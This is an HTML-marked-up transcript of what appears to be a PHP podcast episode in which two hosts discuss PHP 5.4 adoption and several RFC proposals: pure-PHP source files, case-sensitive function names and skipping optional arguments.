&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yes, I'm planning to do an upgrade, I'm still with 5.3-something, can't recall.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, personally I'm not planning any upgrade anytime sooner than when I really need it, and at least for me PHP 5.4 does not provide anything that I really need, like traits.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;It's interesting but I do not have a great interest in them, and PHP as it is is already good enough for me, I mean prior to PHP 5.4, but other people may want to upgrade. For instance, the use of the built-in web server which is mainly meant for development environment, it's interesting but you don't need to upgrade your version in the server.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, eventually it can also represent a problem because when you're doing development you should develop within the host environment that you will plan to deploy, so if you use Apache then you have to test it with Apache, but I understand for small testings it's a valid improvement for the solution.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yes, I'm sure several people were expecting PHP 5.4 to be a release to use the new features.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Oh, yeah.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;We don't know yet if it had great adoption, it will probably only have adoption on environments in which the developer somehow controls besides the version that is available, and we don't really need it much, but people that need it will take advantage of those features and will appreciate it.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Anyway, we talked a lot about PHP 5.4 features in past episodes, so there's no need to go through the features again.&lt;/p&gt;
&lt;h3 style=&quot;margin: 10px 0px; padding: 10px 0px; text-align: left; color: rgb(51, 51, 51); text-transform: none; line-height: normal; text-indent: 0px; letter-spacing: normal; font-family: arial, helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; word-spacing: 0px; border-bottom-color: rgb(204, 204, 204); border-bottom-width: 3px; border-bottom-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The polemic of the pure PHP scripts proposal (5:57)&lt;/h3&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;We are going now to move on to something else that has been happening in the PHP world, actually this month was sort of intense. &amp;nbsp;I'm not sure if it was intense in terms of importance, but there was a topic that is discussed..&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;A little heat.&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, a little bit, it's just a way of saying it was intensively.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;No, I mean a little heat on the topic, like on the discussion.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah. &amp;nbsp;And the topic that I'm referring to is basically the proposal to have a sort of variant of PHP source file that does not allow those PHP start and end tags, so the regular PHP scripts are basically mean to be some HTML or something else, and with PHP embedded on it using those PHP start/end tags.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;So the proposal is to sort of, well, not exactly abolish because they still want to support the current form of PHP source files.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;It seems that this is an RFC proposal right, and they are trying to separate the mixed PHP with HTML and pure PHP scripts as far as could understand in order to facilitate some specifics on frameworks related code as well as naming conventions, etcetera.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, well, actually that's probably the ironic part of the proposal because the proponents seem to want to stop people, or at least discourage people from mixing HTML templates inside the PHP or vice versa, whatever you want to see it.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And what they propose it to have a new type of PHP source file that only includes PHP code, and the current way of embedding HTML or some other kind of output in the middle of PHP would be disallowed.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And I think the ironic part is that many frameworks, many MVC frameworks they propose the use of PHP files, actually it would be HTML templates with PHP embedded on them.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And this somehow means that they still want to have that forever, embedded PHP code in the middle of HTML or whatever is the output from that. &amp;nbsp;And anyway, we are just talking about this because the discussion was quite intense.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Oh, yeah. &amp;nbsp;And what would you think about having this adopted, I mean are you up to it or what's your preference?&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, personally I do not care because even if I was in favor of implementing a specific alteration in PHP engine to support those different types of PHP source code I probably would not care, but for those that want to use those PHP only code they can do it now, the only thing is that they still have to put those PHP start and end marks in their source files, so all this discussion because they do not want to put those marks.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;I mean I'm sure that there are some other important things to care about, right?&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Well, right, but regarding this proposal the discussion was so intense, I probably missed maybe some important arguments in favor of it, but the best argument in favor of it was that they sort of are concerned that sometimes use PHP start and end marks, and for an accident you enter an additional line break and that may break PHP code like, for instance, triggering the issue of the content type headers.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And, well, okay I understand that is a concern, it happens, it actually happened to me some time ago, but it doesn't happen to me every time, and I'm not sure if all this discussion is justified, it seems that somebody just started the idea and everybody also wanted to give their opinion.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There is not just one RFC, from what I counted there are at least three RFC's that basically propose the same, just a slight variants of the same idea.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;I think because I really did not have much patience to go through all the proposals, but, well, for me it's like you said, I do not intend to use it, I'm not really concerned, I just wanted to mention it because there is this intense debate, and from what I could understand it did not yet end, and probably people will keep talking about it.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And it's just amazing how something that may not really be necessary to be part of PHP raises such a great discussion, actually a flame war, and, well anyway that's just my perspective, I don't know if you have a similar perspective.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, I totally agree with you, I mean it should, those changes probably are useful for some people otherwise it wouldn't even be proposed, but yeah, normally changes within the PHP engine or the PHP core itself it's kind of problematic and it brings lots of ins and outs, and it's always a struggle in that sense.&lt;/p&gt;
&lt;h3 style=&quot;margin: 10px 0px; padding: 10px 0px; text-align: left; color: rgb(51, 51, 51); text-transform: none; line-height: normal; text-indent: 0px; letter-spacing: normal; font-family: arial, helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; word-spacing: 0px; border-bottom-color: rgb(204, 204, 204); border-bottom-width: 3px; border-bottom-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Case sensitive PHP function names proposal (12:26)&lt;/h3&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah. &amp;nbsp;Well, anyway, there were also other proposals despite this proposal itself took a lot of discussion there were other proposals that did not get so much attention, but I think it will probably be worth mentioning.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There was one that was sort of proposing, or at least reviving an old topic, discussion whether PHP function names should be case-sensitive or be case-insensitive just like they are currently, and the main argument in favor of making it case-sensitive is if you use certain characters to be represented in Unicode, UTF8, the upper and lower-case version of those characters is just not a matter of changing one byte.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And for me I just wonder, well, is it really something normal to write PHP code using non-ASCII characters? &amp;nbsp;Ernani, I don't know if you use names in Portuguese in your code, but you don't, right?&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;No, no, no, especially when there are special characters. &amp;nbsp;I try to keep everything English, sometimes you just don't care and you write some variables names in Portuguese, but I try to avoid it.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And normally what I do is I use the spell correction tool just to make sure that it can understand everything, and I do this such as a reports tool for the code when I'm looking into the code. &amp;nbsp;But, yes, I have never had the experience of having to write variables with special words or special characters.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, well, for me this is a bit odd because, also despite my mother language is Portuguese which has some non-ASCII characters I never use them, actually I was not even sure if PHP supported non-ASCII characters in names, the functions.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;I don't think I've ever tried and never have used a special word or accents on a variable just to see if it works, I can't even tell.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Yeah, well, I know that the original proposal of PHP 6 was meant to make this a common thing, if you wanted to write your code with variables and functions in Chinese you could, but, well it seems that the person that proposed this was concerned about these words in foreign languages that making the upper and lower to match names during the execution of PHP to see...&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Maybe they want to make the convention similar to what Java does with camel case script such as I guess Ruby as well requires that.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;From what I understood the idea is to avoid the overhead because if you want to see if a name is the same but with a different case you have to probably map all to lower case or all to upper case and compare the versions of the names.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And actually if you are using non-ASCII characters and you are using, for instance UTF8, some characters will be mapped to two bytes or maybe more in some idioms, some languages.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;And I think the person in question wanted to avoid that overhead, but the problem is that it will cause major backwards incompatibilities, and this I don't know if that headache would be worth making all case-sensitive, and I think the main concern was to be performance.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Well, anyway, the discussion on this proposal practically died do I don't think it will go anywhere.&lt;/p&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Ernani Joppert:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Right.&lt;/p&gt;
&lt;h3 style=&quot;margin: 10px 0px; padding: 10px 0px; text-align: left; color: rgb(51, 51, 51); text-transform: none; line-height: normal; text-indent: 0px; letter-spacing: normal; font-family: arial, helvetica, sans-serif; font-size: 15px; font-style: normal; font-variant: normal; word-spacing: 0px; border-bottom-color: rgb(204, 204, 204); border-bottom-width: 3px; border-bottom-style: dotted; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Proposal to skip optional arguments in PHP function calls (16:52)&lt;/h3&gt;
&lt;p style=&quot;font: 12px/normal arial, helvetica, sans-serif; text-align: left; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-size-adjust: none; font-stretch: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;span style=&quot;font-size: 12px; font-weight: bold;&quot;&gt;Manuel Lemos:&lt;/span&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;Anyway, moving on, another proposal that will probably go on because it seems to be useful and does not cause any backwards incompatibilities in PHP, is the possibility to when you call a function that has optional arguments you can skip some of the arguments and specify the last ones.&lt;/p&gt;
